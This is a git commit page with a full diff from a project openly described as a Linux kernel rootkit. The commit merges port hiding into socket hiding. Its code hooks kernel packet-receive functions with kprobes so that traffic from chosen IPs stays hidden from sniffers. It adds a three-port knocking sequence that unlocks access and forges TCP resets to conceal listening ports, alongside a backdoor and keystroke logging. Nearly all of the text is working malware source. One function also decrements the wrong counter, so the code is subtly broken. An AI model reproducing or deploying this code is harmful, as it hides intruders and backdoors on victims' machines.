linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 16b8e2699c1b2342acc2fdefade63fccc36a13c2
parent 8367b922a3c34768ad3ae184c69ce17f8e611908
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 13:24:13 +0100

merges port hiding code with socket hiding

Diffstat:
Msrc/channel.c | 28----------------------------
Msrc/channel.h | 1-
Msrc/common.h | 7+++++++
Msrc/g7.c | 3+--
Msrc/hook.c | 26+++++++++++---------------
Msrc/hook.h | 1+
Msrc/ioctl.h | 7+++----
Msrc/packhide.c | 133++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------------------
Msrc/packhide.h | 7+------
Msrc/porthide.c | 154+++++++------------------------------------------------------------------------
Msrc/porthide.h | 21+++++++++++++--------
Msrc/rootkit.h | 1-
Msrc/sockhide.c | 5+++++
13 files changed, 146 insertions(+), 248 deletions(-)

diff --git a/src/channel.c b/src/channel.c @@ -36,7 +36,6 @@ report_channels(void) DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE); - DEBUG_NOTICE("%-24s %#10lx\n", "PORTHIDE", G7_PORTHIDE); DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR); DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD); DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING); @@ -55,7 +54,6 @@ detect_channel(unsigned cmd) case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide }; case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide }; case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide }; - case G7_PORTHIDE: return (channel_t){ "PORTHIDE", handle_porthide }; case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor }; case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd }; case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging }; @@ -276,32 +274,6 @@ handle_packhide(unsigned long arg) } int -handle_porthide(unsigned long arg) -{ - unsigned sarg = (unsigned)(arg % 65536); - - if (!sarg) { - unhide_lports(); - rootkit.hiding_ports = 0; - DEBUG_NOTICE("[g7] porthide off\n"); - } else if (sarg < 0) { - unhide_lport((port_t)(-sarg)); - DEBUG_NOTICE("[g7] unhiding port %d\n", -sarg); - } else if (sarg > 0) { - if (!rootkit.hiding_ports) { - hide_lports(); - DEBUG_NOTICE("[g7] porthide on\n"); - } - - hide_lport((port_t)sarg); - rootkit.hiding_ports = 1; - DEBUG_NOTICE("[g7] hiding port %d\n", sarg); - } - - return 0; -} - -int handle_backdoor(unsigned long arg) { char buf[BUFLEN]; diff --git a/src/channel.h b/src/channel.h @@ -18,7 +18,6 @@ int handle_pidhide(unsigned long); int handle_tcphide(unsigned long); int handle_udphide(unsigned long); int handle_packhide(unsigned long); -int handle_porthide(unsigned long); int handle_backdoor(unsigned long); int handle_togglebd(unsigned long); int handle_logging(unsigned long); diff --git a/src/common.h b/src/common.h @@ -9,4 +9,11 @@ #define DEBUG_NOTICE(...) do{} while (0) #endif +typedef enum { + v4, + v6 +} ip_version; + +typedef u8 ip_t[16]; + #endif//_GROUP7_COMMON_H diff --git a/src/g7.c b/src/g7.c @@ -45,8 +45,7 @@ rootkit_t rootkit = { .hiding_open = true, .hiding_pids = true, .hiding_sockets = true, - .hiding_packets = false, - .hiding_ports = true, + .hiding_packets = true, .logging_input = true, .backdoor = BD_TTY, }; diff --git a/src/hook.c b/src/hook.c @@ -22,7 +22,7 @@ #include "read.h" #include "inputlog.h" #include "sockhide.h" -/* #include "packhide.h" */ +#include "packhide.h" #include "porthide.h" extern rootkit_t rootkit; @@ -63,6 +63,7 @@ init_hooks(void) atomic_set(&read_install_count, 0); atomic_set(&tty_read_install_count, 0); atomic_set(&getdents_install_count, 0); + atomic_set(&packet_rcv_install_count, 0); atomic_set(&read_count, 0); atomic_set(&tty_read_count, 0); @@ -89,16 +90,14 @@ init_hooks(void) if (rootkit.hiding_sockets) hide_sockets(); - /* if (rootkit.hiding_packets) */ - /* hide_packets(); */ + if (rootkit.hiding_packets) + hide_packets(); - if (rootkit.hiding_ports) - hide_lports(); - - if (rootkit.backdoor == BD_READ) - backdoor_read(); - else if (rootkit.backdoor == BD_TTY) - backdoor_tty(); + switch (rootkit.backdoor) { + case BD_READ: backdoor_read(); break; + case BD_TTY: backdoor_tty(); break; + default: break; + } if (rootkit.logging_input) log_input("127.0.0.1", "5000"); @@ -124,11 +123,8 @@ remove_hooks(void) if (rootkit.hiding_sockets) unhide_sockets(); - /* if (rootkit.hiding_packets) */ - /* unhide_packets(); */ - - if (rootkit.hiding_ports) - unhide_lports(); + if (rootkit.hiding_packets) + unhide_packets(); if (rootkit.backdoor != BD_OFF) unbackdoor(); diff --git a/src/hook.h b/src/hook.h @@ -15,6 +15,7 @@ typedef struct { extern atomic_t read_install_count; extern atomic_t getdents_install_count; +extern atomic_t packet_rcv_install_count; extern atomic_t read_count; extern atomic_t tty_read_count; diff --git a/src/ioctl.h b/src/ioctl.h @@ -12,9 +12,8 @@ #define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *) #define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *) #define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *) -#define G7_PORTHIDE _IOR(G7_MAGIC_NUMBER, 0x8, char *) -#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x9, char *) -#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0xa, char *) -#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xb, char *) +#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *) +#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *) +#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *) #endif//_GROUP7_IOCTL_H diff --git a/src/packhide.c b/src/packhide.c @@ -10,9 +10,14 @@ #include <linux/in.h> #include <linux/ipv6.h> -#include "common.h" +#include "rootkit.h" #include "hook.h" #include "packhide.h" +#include "porthide.h" + +extern rootkit_t rootkit; + +atomic_t packet_rcv_install_count; ip_list_t hidden_ips = { .ip = { 0 }, @@ -43,34 +48,38 @@ static struct kprobe p_rcv_spkt = { void hide_packets(void) { - p_rcv.pre_handler = g7_packet_rcv; - p_rcv.post_handler = g7_post; - p_rcv.fault_handler = g7_fault; + if (atomic_inc_return(&packet_rcv_install_count) == 1) { + p_rcv.pre_handler = g7_packet_rcv; + p_rcv.post_handler = g7_post; + p_rcv.fault_handler = g7_fault; - tp_rcv.pre_handler = g7_packet_rcv; - tp_rcv.post_handler = g7_post; - tp_rcv.fault_handler = g7_fault; + tp_rcv.pre_handler = g7_packet_rcv; + tp_rcv.post_handler = g7_post; + tp_rcv.fault_handler = g7_fault; - p_rcv_spkt.pre_handler = g7_packet_rcv; - p_rcv_spkt.post_handler = g7_post; - p_rcv_spkt.fault_handler = g7_fault; + p_rcv_spkt.pre_handler = g7_packet_rcv; + p_rcv_spkt.post_handler = g7_post; + p_rcv_spkt.fault_handler = g7_fault; - if (register_kprobe(&p_rcv)) - DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); + if (register_kprobe(&p_rcv)) + DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); - if (register_kprobe(&tp_rcv)) - DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); + if (register_kprobe(&tp_rcv)) + DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); - if (register_kprobe(&p_rcv_spkt)) - DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); + if (register_kprobe(&p_rcv_spkt)) + DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); + } } void unhide_packets(void) { - unregister_kprobe(&p_rcv); - unregister_kprobe(&tp_rcv); - unregister_kprobe(&p_rcv_spkt); + if (atomic_dec_return(&getdents_install_count) == 0) { + unregister_kprobe(&p_rcv); + unregister_kprobe(&tp_rcv); + unregister_kprobe(&p_rcv_spkt); + } } void @@ -113,7 +122,10 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) { struct sk_buff *skb; skb = (struct sk_buff *)pt_regs->di; - u8 protocol = 0; + + u8 protocol; + u8 ip[16] = { 0 }; + ip_version version; char *data = skb_network_header(skb); char ver = data[0]; @@ -123,38 +135,77 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); pt_regs->di = (long unsigned int)clone; - if ((ver == 0x60)) { + if (ver == 0x60) { struct ipv6hdr *iphdr; iphdr = ipv6_hdr(clone); protocol = iphdr->nexthdr; + version = v6; + memcpy(ip, (u8 *)&iphdr->daddr, 16); - if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6) - || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6)) - clone->pkt_type = PACKET_LOOPBACK; - } else if ((ver == 0x40)) { + if (rootkit.hiding_packets) { + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6)) + clone->pkt_type = PACKET_LOOPBACK; + } + } else if (ver == 0x40) { struct iphdr *iphdr; iphdr = ip_hdr(clone); protocol = iphdr->protocol; + version = v4; + memcpy(ip, (u8 *)&iphdr->daddr, 4); - if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4) - || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4)) - clone->pkt_type = PACKET_LOOPBACK; - } - - // We need to intercept (RST) the TCP handshake - if (protocol == IPPROTO_TCP) { - struct tcphdr *tcphdr; - - tcphdr = (struct tcphdr *)skb_transport_header(skb); - unsigned src_port = (unsigned)ntohs(tcphdr->source); - - if (src_port == 8080) { // list_contains_port(...) - if (tcphdr->syn) { - tcphdr->syn = 0; - tcphdr->rst = 1; + if (rootkit.hiding_packets) { + if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4) + || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4)) + clone->pkt_type = PACKET_LOOPBACK; + } + } else + return 0; + + if (rootkit.hiding_sockets) { + // We need to intercept (RST) the TCP handshake + if (protocol == IPPROTO_TCP) { + struct tcphdr *tcphdr; + + tcphdr = (struct tcphdr *)skb_transport_header(skb); + unsigned src_port = (unsigned)ntohs(tcphdr->source); + + if (list_contains_knock(&ips_stage3, ip, version)) + return 0; + + if (tcphdr->syn || !tcphdr->ack) + goto check_port; + + if (list_contains_knock(&ips_stage2, ip, version)) { + if (stage3_knock(src_port)) { + DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port); + add_knock_to_list(&ips_stage3_tail, ip, version); + } + + remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version); + } else if (list_contains_knock(&ips_stage1, ip, version)) { + if (stage2_knock(src_port)) { + add_knock_to_list(&ips_stage2_tail, ip, version); + DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port); + } + + remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version); + } else { + if (stage1_knock(src_port)) { + DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port); + add_knock_to_list(&ips_stage1_tail, ip, version); + } } + +check_port: + if (list_contains_lport(&hidden_lports, src_port)) + if (tcphdr->syn) { + tcphdr->syn = 0; + tcphdr->ack = 0; + tcphdr->rst = 1; + } } } diff --git a/src/packhide.h b/src/packhide.h @@ -1,12 +1,7 @@ #ifndef _GROUP7_PACKHIDE_H #define _GROUP7_PACKHIDE_H -typedef enum { - v4, - v6 -} ip_version; - -typedef u8 ip_t[16]; +#include "common.h" typedef struct ip_list *ip_list_t_ptr; typedef struct ip_list { diff --git a/src/porthide.c b/src/porthide.c @@ -14,8 +14,7 @@ #include "hook.h" #include "porthide.h" - -// stage 1: 1337 +// knock stage 1: 1337 knock_list_t ips_stage1 = { .ip = { 0 }, .version = -1, @@ -25,7 +24,7 @@ knock_list_t ips_stage1 = { knock_list_t_ptr ips_stage1_tail = &ips_stage1; -// stage 2: 7331 +// knock stage 2: 7331 knock_list_t ips_stage2 = { .ip = { 0 }, .version = -1, @@ -35,7 +34,7 @@ knock_list_t ips_stage2 = { knock_list_t_ptr ips_stage2_tail = &ips_stage2; -// stage 3: 7777 +// knock stage 3: 7777 knock_list_t ips_stage3 = { .ip = { 0 }, .version = -1, @@ -53,58 +52,6 @@ lport_list_t hidden_lports = { lport_list_t_ptr hidden_lports_tail = &hidden_lports; -static int g7_packet_rcv(struct kprobe *, struct pt_regs *); -static int g7_fault(struct kprobe *, struct pt_regs *, int); -static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long); - -// TODO store in array of kprobes -static struct kprobe p_rcv = { - .symbol_name = "packet_rcv", -}; - -static struct kprobe tp_rcv = { - .symbol_name = "tpacket_rcv", -}; - -static struct kprobe p_rcv_spkt = { - .symbol_name = "packet_rcv_spkt", -}; - -void -hide_lports(void) -{ - p_rcv.pre_handler = g7_packet_rcv; - p_rcv.post_handler = g7_post; - p_rcv.fault_handler = g7_fault; - - tp_rcv.pre_handler = g7_packet_rcv; - tp_rcv.post_handler = g7_post; - tp_rcv.fault_handler = g7_fault; - - p_rcv_spkt.pre_handler = g7_packet_rcv; - p_rcv_spkt.post_handler = g7_post; - p_rcv_spkt.fault_handler = g7_fault; - - if (register_kprobe(&p_rcv)) - DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n"); - - if (register_kprobe(&tp_rcv)) - DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n"); - - if (register_kprobe(&p_rcv_spkt)) - DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n"); - - hide_lport(8080); -} - -void -unhide_lports(void) -{ - unregister_kprobe(&p_rcv); - unregister_kprobe(&tp_rcv); - unregister_kprobe(&p_rcv_spkt); -} - void hide_lport(lport_t lport) { @@ -118,99 +65,22 @@ unhide_lport(lport_t lport) remove_lport_from_list(hidden_lports_tail, lport); } -static int -g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs) +bool +stage1_knock(lport_t port) { - struct sk_buff *skb; - skb = (struct sk_buff *)pt_regs->di; - - u8 protocol = 0; - u8 ip[16] = { 0 }; - ip_version version; - - char *data = skb_network_header(skb); - char ver = data[0]; - - ver &= 0xf0; - - struct sk_buff *clone = skb_clone(skb, GFP_KERNEL); - pt_regs->di = (long unsigned int)clone; - - if ((ver == 0x60)) { - struct ipv6hdr *iphdr; - - iphdr = ipv6_hdr(clone); - protocol = iphdr->nexthdr; - version = v6; - memcpy(ip, (u8 *)&iphdr->daddr, 16); - - } else if ((ver == 0x40)) { - struct iphdr *iphdr; - - iphdr = ip_hdr(clone); - protocol = iphdr->protocol; - version = v4; - memcpy(ip, (u8 *)&iphdr->daddr, 4); - - } else - return 0; - - // We need to intercept (RST) the TCP handshake - if (protocol == IPPROTO_TCP) { - struct tcphdr *tcphdr; - - tcphdr = (struct tcphdr *)skb_transport_header(skb); - unsigned src_port = (unsigned)ntohs(tcphdr->source); - - if (list_contains_knock(&ips_stage3, ip, version)) - return 0; - - if (tcphdr->syn || !tcphdr->ack) - goto check_port; - - if (list_contains_knock(&ips_stage2, ip, version)) { - if (src_port == 7777) { - DEBUG_NOTICE("[g7] knocked port %d, port knocking sequence completed\n", src_port); - add_knock_to_list(&ips_stage3_tail, ip, version); - } - - remove_knock_from_list(&ips_stage2, &ips_stage2_tail, ip, version); - } else if (list_contains_knock(&ips_stage1, ip, version)) { - if (src_port == 7331) { - add_knock_to_list(&ips_stage2_tail, ip, version); - DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 2\n", src_port); - } - - remove_knock_from_list(&ips_stage1, &ips_stage1_tail, ip, version); - } else { - if (src_port == 1337) { - DEBUG_NOTICE("[g7] knocked port %d, entering knocking stage 1\n", src_port); - add_knock_to_list(&ips_stage1_tail, ip, version); - } - } - -check_port: - if (list_contains_lport(&hidden_lports, src_port)) - if (tcphdr->syn) { - tcphdr->syn = 0; - tcphdr->ack = 0; - tcphdr->rst = 1; - } - } - - return 0; + return port == 1337; } -static void -g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags) +bool +stage2_knock(lport_t port) { - return; + return port == 7331; } -static int -g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr) +bool +stage3_knock(lport_t port) { - return 0; + return port == 7777; } void diff --git a/src/porthide.h b/src/porthide.h @@ -1,14 +1,7 @@ #ifndef _GROUP7_PORTHIDE_H #define _GROUP7_PORTHIDE_H -#include "packhide.h" - -/* typedef enum { */ -/* v4, */ -/* v6 */ -/* } ip_version; */ - -/* typedef u8 ip_t[16]; */ +#include "common.h" typedef struct knock_list *knock_list_t_ptr; typedef struct knock_list { @@ -18,6 +11,14 @@ typedef struct knock_list { knock_list_t_ptr next; } knock_list_t; +extern knock_list_t ips_stage1; +extern knock_list_t ips_stage2; +extern knock_list_t ips_stage3; + +extern knock_list_t_ptr ips_stage1_tail; +extern knock_list_t_ptr ips_stage2_tail; +extern knock_list_t_ptr ips_stage3_tail; + typedef unsigned lport_t; typedef struct lport_list *lport_list_t_ptr; @@ -38,6 +39,10 @@ void unhide_lports(void); void hide_lport(lport_t); void unhide_lport(lport_t); +bool stage1_knock(lport_t); +bool stage2_knock(lport_t); +bool stage3_knock(lport_t); + bool list_contains_lport(lport_list_t_ptr, lport_t); lport_list_t_ptr find_lport_in_list(lport_list_t_ptr, lport_t); lport_list_t_ptr add_lport_to_list(lport_list_t_ptr, lport_t); diff --git a/src/rootkit.h b/src/rootkit.h @@ -17,7 +17,6 @@ typedef struct { bool hiding_open; bool hiding_sockets; bool hiding_packets; - bool hiding_ports; bool logging_input; bd_state_t backdoor; } rootkit_t; diff --git a/src/sockhide.c b/src/sockhide.c @@ -9,6 +9,7 @@ #include "common.h" #include "hook.h" #include "sockhide.h" +#include "packhide.h" port_list_t hidden_ports = { .port = -1, @@ -66,6 +67,8 @@ hide_sockets(void) = (void *)g7_udp6_seq_show; enable_protection(); + + hide_packets(); } } @@ -90,6 +93,8 @@ unhide_sockets(void) enable_protection(); sys_recvmsg = NULL; + + unhide_packets(); } }